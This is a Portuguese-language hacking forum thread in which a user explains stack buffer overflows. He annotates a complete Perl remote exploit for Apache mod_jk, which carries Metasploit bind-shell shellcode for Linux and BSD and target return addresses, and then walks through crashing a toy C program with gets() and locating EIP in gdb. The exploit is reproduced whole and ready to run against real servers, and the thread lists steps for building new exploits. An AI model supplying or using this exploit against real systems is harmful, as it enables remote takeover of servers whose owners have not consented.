Entendendo Buffer Overflow e explorando

Started by C00L3R, 09 de December , 2008, 05:50:35 PM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

C00L3R

Se você não sabe nada de programação melhor nem ler este Post...

A poco tempo um Colega fez um "XPL" e me passo eu analisei de primeira não intendi muito o codigo, resolvi estudar por fora cheguei numa conclusão que vo tentar explicar...

Bem vo explicar de forma bem simples depois vamos pro trabalho.
Imagine um copo de agua de 300ml, você vai e coloca 290ml não vai
ocorrer nada,Certo agora você coloca 310ml ,vai derramar o liquido colocado!
Mas para onde vai este liquidopar aum Ralo!(Ou seja o Cracker)

vo pega um buffer Overflow simples para estar explicando em linha comentadas
    #!/usr/bin/perl   #de cara ta para ver que esta em Perl
    # Apache w/ mod_jk Remote Exploit
    # by eliteboy

    use IO::Socket;   Biblioteca para fazer a conexão no alvo

    print "***ELiTEBOY*PRESENTZ***APACHE*MOD_JK*REMOTE*EXPLOIT***\n";

    $target = $ARGV[1];
    if (($#ARGV != 1) || ($target < 1) || ($target > 3)) {
       print "Usage: modjkx.pl <hostname> <targettype>\n";
       print "1.\tSUSE Enterprise Linux Server SP0/SP3 *** Apache 2.2.4 mod_jk-1.2.20\n"
           ."\tDebian 3.1/4.0*Apache 2.2.4/2.2.3&Apache 1.3.37 mod_jk-1.2.20/mod_jk-1.2.19\n";
       print "2.\tSUSE Enterprise Linux Server SP0/SP3 *** Apache 2.2.4 mod_jk-1.2.19\n"
           ."\tDebian 3.1 Sarge*Apache 2.2.4&Apache 1.3.37 mod_jk-1.2.20/mod_jk-1.2.19\n";
       print "3.\tFreeBSD5.4-RELEASE *** Apache 2.2.4 mod_jk-1.2.20/mod_jk-1.2.19\n";
       exit;
    }                   # função para capturar teclas aqui o usuario define o "target"

    $port = 80; #porta para ataque

    #este shellcode he do metasploit
    ### lnx metasploit bindshell code port 2007
    my $lnx_shellcode =
    "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49".
    "\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x48\x49\x51\x5a\x6a\x49".
    "\x58\x50\x30\x42\x31\x42\x41\x6b\x41\x41\x59\x41\x32\x41\x41\x32".
    "\x42\x41\x30\x42\x41\x58\x50\x38\x41\x42\x75\x69\x79\x37\x41\x6b".
    "\x6b\x63\x63\x57\x33\x72\x73\x73\x5a\x76\x62\x32\x4a\x55\x36\x51".
    "\x48\x4e\x79\x4e\x69\x38\x61\x6a\x6d\x4f\x70\x7a\x36\x77\x33\x30".
    "\x52\x42\x46\x31\x78\x46\x67\x38\x57\x30\x66\x50\x53\x6d\x59\x4b".
    "\x51\x32\x4a\x63\x56\x70\x58\x50\x50\x50\x51\x50\x56\x6f\x79\x4b".
    "\x51\x7a\x6d\x4f\x70\x48\x30\x65\x36\x4b\x61\x4d\x33\x38\x4d\x4b".
    "\x30\x72\x72\x50\x52\x56\x36\x42\x63\x6b\x39\x68\x61\x6e\x50\x33".
    "\x56\x68\x4d\x6b\x30\x6d\x43\x70\x6a\x33\x32\x66\x39\x6c\x70\x37".
    "\x4f\x58\x4d\x6f\x70\x42\x69\x31\x69\x39\x69\x6e\x50\x74\x4b\x46".
    "\x32\x32\x48\x56\x4f\x46\x4f\x64\x33\x62\x48\x35\x38\x56\x4f\x42".
    "\x42\x30\x69\x50\x6e\x6b\x39\x4a\x43\x56\x32\x73\x63\x4b\x39\x48".
    "\x61\x68\x4d\x6d\x50\x49";

    #outro shellcode optativo caso o sistema seja um BSD
    ### bsd metasploit bindshell code port 5555
    my $bsd_shellcode =
    "\xeb\x59\x59\x59\x59\xeb\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59".
    "\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59".
    "\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59".
    "\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59".
    "\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59".
    "\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\xe8\xa4\xff\xff\xff".
    "\x49\x49\x49\x49\x49\x49\x49\x49\x37\x49\x49\x49\x49\x49\x49\x49".
    "\x49\x49\x51\x5a\x6a\x42\x58\x50\x30\x42\x30\x42\x6b\x42\x41\x52".
    "\x42\x41\x32\x42\x41\x32\x41\x41\x30\x41\x41\x58\x38\x42\x42\x50".
    "\x75\x59\x79\x53\x5a\x31\x71\x33\x68\x4d\x49\x50\x52\x32\x48\x76".
    "\x70\x43\x32\x55\x45\x6f\x43\x6c\x49\x68\x61\x36\x32\x51\x52\x36".
    "\x32\x62\x62\x52\x72\x50\x6a\x66\x70\x5a\x6d\x4f\x70\x4f\x69\x6f".
    "\x63\x50\x51\x32\x73\x73\x62\x50\x6a\x72\x48\x36\x38\x38\x4d\x4f".
    "\x70\x4c\x70\x51\x7a\x68\x4d\x6f\x70\x62\x72\x62\x73\x50\x52\x58".
    "\x30\x65\x4e\x5a\x6d\x4d\x50\x6c\x57\x32\x4a\x66\x62\x31\x49\x41".
    "\x7a\x41\x4a\x52\x78\x46\x31\x30\x57\x32\x71\x4a\x6d\x4d\x50\x77".
    "\x39\x51\x69\x6c\x35\x30\x50\x32\x48\x66\x4f\x56\x4f\x32\x53\x62".
    "\x48\x52\x48\x76\x4f\x70\x62\x32\x49\x50\x6e\x4d\x59\x5a\x43\x52".
    "\x70\x72\x74\x56\x33\x70\x53\x6e\x50\x47\x4b\x38\x4d\x6b\x30\x42".
    "A" x 100;

    $alignment = 4127; #ajustar o alinhamento

    $|=1;

    if ($target eq 1) {
       $shellcode = $lnx_shellcode;
       $addr = 0xbffff060;  #enrereço de retorno
    }

    if ($target eq 2) {
       $shellcode = $lnx_shellcode;
       $addr = 0xbfffef4c; #Enrereço de retorno
    }

    if ($target eq 3) {
       $shellcode = $bsd_shellcode;
       $addr = 0xbfbfe5d5; #endereço de retorno
    }   #3 opçoes  de endereço para cada sistema tem um geito de executar o shellcode
       # com o estoro do buffer

    $offset = pack('l', $addr); #pack gerenciador de geometria

    $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0], #para conectar no alvo
                           PeerPort => $port,
                           Proto   => 'tcp'); #Protocolo usado

    $a = "A" x ($alignment-4-length($shellcode)) . $shellcode . $offset;
    # O QUE vai injetar o exploit Alinhamento+Shellcode*endereço
    print $sock "GET /$a HTTP/1.0\r\n\r\n";

    while(<$sock>) { #laço simples enquando o socket não fechar nçao termina
       print;
    }

    # milw0rm.com [2007-06-22]




Olhando de primeira o que deixa confuso é o Shellcode,Que nada mais é do que um codigo malicioso a ser executado para ter controle do alvo, para se bem claro deve colocar no buffer o codigo ja compilado ou seja "Assembly",Dessa forma fazemos o processador da maquina executar o que quisermos. :twisted:

Na criação de um Shellcode é preciso ter conhecimentos avançados em assembly e do sistema operacional a ser explorado o que não é facil mas pode ser encontrado para ganho de conhecimento neste forum na parte de "downloas" apsotilas etc...

Voltando ao "Buffer Overflow" vo criar um programinha bobo em "C" para estar explicando isso vamos uma lista de funções vulneraveis em "C" para estarmos explorando Buffer Overflow:
*strcpy e strncopy;
*strcat e strncat;
*gets,getws e fgets;
*scanf , printf e suas variantes (fprintf,sprintf,vprintf...);
E muitas outras funções que não lembro . . .

Bem encontrando uma destas funções no programa he soh tentar explorar a falha
EX o codigo:
    #include <stdio.h>

    void malandro(void)
      {
               char buffer[5];
               gets (buffer);
               printf("%s\n",buffer);
               return;
       }

    main()
       {
          malandro();
          return 0;
       }

Aqui vamos usar o sistema "Linux Slackware" para estar testando não testei no openbsd por que ele bloqueia buffers elevados, por isso é bom conhecer o Sistema Operacional usado...

Bem de primeira ao fazer o programa com o "Vi" logo fui compilar:
$gcc -o programa programa.c
Ja veio um aviso falando que contem string perigosa etc... até ai tudo bem
ja sabemos que a string é Hot e esta vuln a "Buffer Overflow"

Vamos tentar estourar o Buffer com chutes..
$./programa #executando o programa
$0123456789 # de estes numeros par ao programa
Deu em nada que coisa não ? vamos chutar um numero maior
24 caracteres vamo la de novo..
$./programa
$012345678901234567891234
Olha so deu um erro no programa -> (Core DUmped)
Um arquivo "Core" é gerado automaticamente pelo sistema.
seria uma representação do conteudo d amemoria quando ocorre o erro
se o buffer nao foi estourado limite ele com comando $ulimit -c 99999
e tente provocar a falha novamente...

continua no proximo post

C00L3R

Continuando
Extorado o buffer vamos ler o Core isso pode ser feito com "GDB"
se não estiver no seu sistema pode ser instalado com um Apt-get,emerge,pacman,yum...
depende da sua distro no meu caso o GDB vei como padrão no slack eu instalei a instalação "full" continuando de o comando;
$gdb programa core
feito isso ele ira mostrar varias informações entre elas um "Main"
#0 0x080483ff in main()
é o que nos interessa pois esta linha nos mostra o primeiro ponteiro ou registrador
fora do segmento de memória do buffer afetado no nosso caso o registrador "EIP"
o endereço pode variar dependendo do sistema e decomo o codigofoi escrito...

Até aqui ja transbordamos o buffere provocamos a quebra do programa agora resta sabero que fazer para chegar ao ponteiro de retorno...

bem tente executar o programa de novo e dar a variavel 012345678901234567891234AAAAA
vai dar core dumped de novo passe o GDB de novo e tera uma nova
#0 0x08040041 in ?()
em ACII a letra A seria 41 chegamos ao ponteiro de retorno apartir de 29 bites
se aumentar os caracteres "A" o ponteiro sera sobrescrito...

Dica: para "disassemblar" basta o comando "$gdb programa" depois o comando
"disass main" assim ele ira disassemblar o programa principal

outra dica: Se você possui o codigo-fonte de um programa vulneravel em mãos pode usar um truque para descobrir o endereço em que o buffer esta ex:
printf("0x%x\n",(int) buffer); onde esta buffer você coloca o nome do programa
assim sempre que o buffer for usado o endereço ira apareser na tela...

Primeiros passos para criar um exploit de Buffer overflow
*Pegar uma source vuln analisar bem
*determinar o endereço do buffer vulneravel
*fazer um ou 2 loops com for para ir add as variaveis...
*escolher um Shellcode mas antes disso testar como exploit local antes de deixar remoto com algumas libs

infos do gdb jumpi.wordpress.com/2007/07/24/tutorial-basico-de-gdb/


M15t.Kl01P

Seu Post ficou bacana... parabens ai cara. Obrigado emancipaçao do compartilhar seus conhecimentos.
Falow C00L3R
gostei.

Cloudy

kkkkkkkkkkkkkkkkkkkkkkkkkkkkkk!!!!!!! uahsduihaskduhaskduhaskudh

Nooosa, que coisa mais hacka kkkkkkkk Huahuaha Tambem recomendo issu:

http://www.forum.darkers.com.br/index.php?topic=10896.msg47321;topicseen#msg47321

hauhauhau!!

[]'s

Post Merge: 12 de January , 2009, 04:05:17 PM

Aproveite e veja issu aqui:

http://www.hunterhacker.xpg.com.br/Heap_Overflow.txt

[]'s
"You have to be trusted by the people tou lied to, so when they turn their back on you, you have the chance to the put the knife in." (Roger Waters)

...by Cloudy

Reeves

vlw pela coolaboração C00L3R
eu gostei ;)

tu é bem vindo kra!


Hug's
  °vº   NÃO USE DROGAS,
/(_)\  USE GNU/LINUX
^ ^

Cloudy

Quote from: Reeves on 12 de January , 2009, 08:19:36 PM
vlw pela coolaboração C00L3R
eu gostei ;)

tu é bem vindo kra!


Hug's

Eheheheh...

[]'Z
"You have to be trusted by the people tou lied to, so when they turn their back on you, you have the chance to the put the knife in." (Roger Waters)

...by Cloudy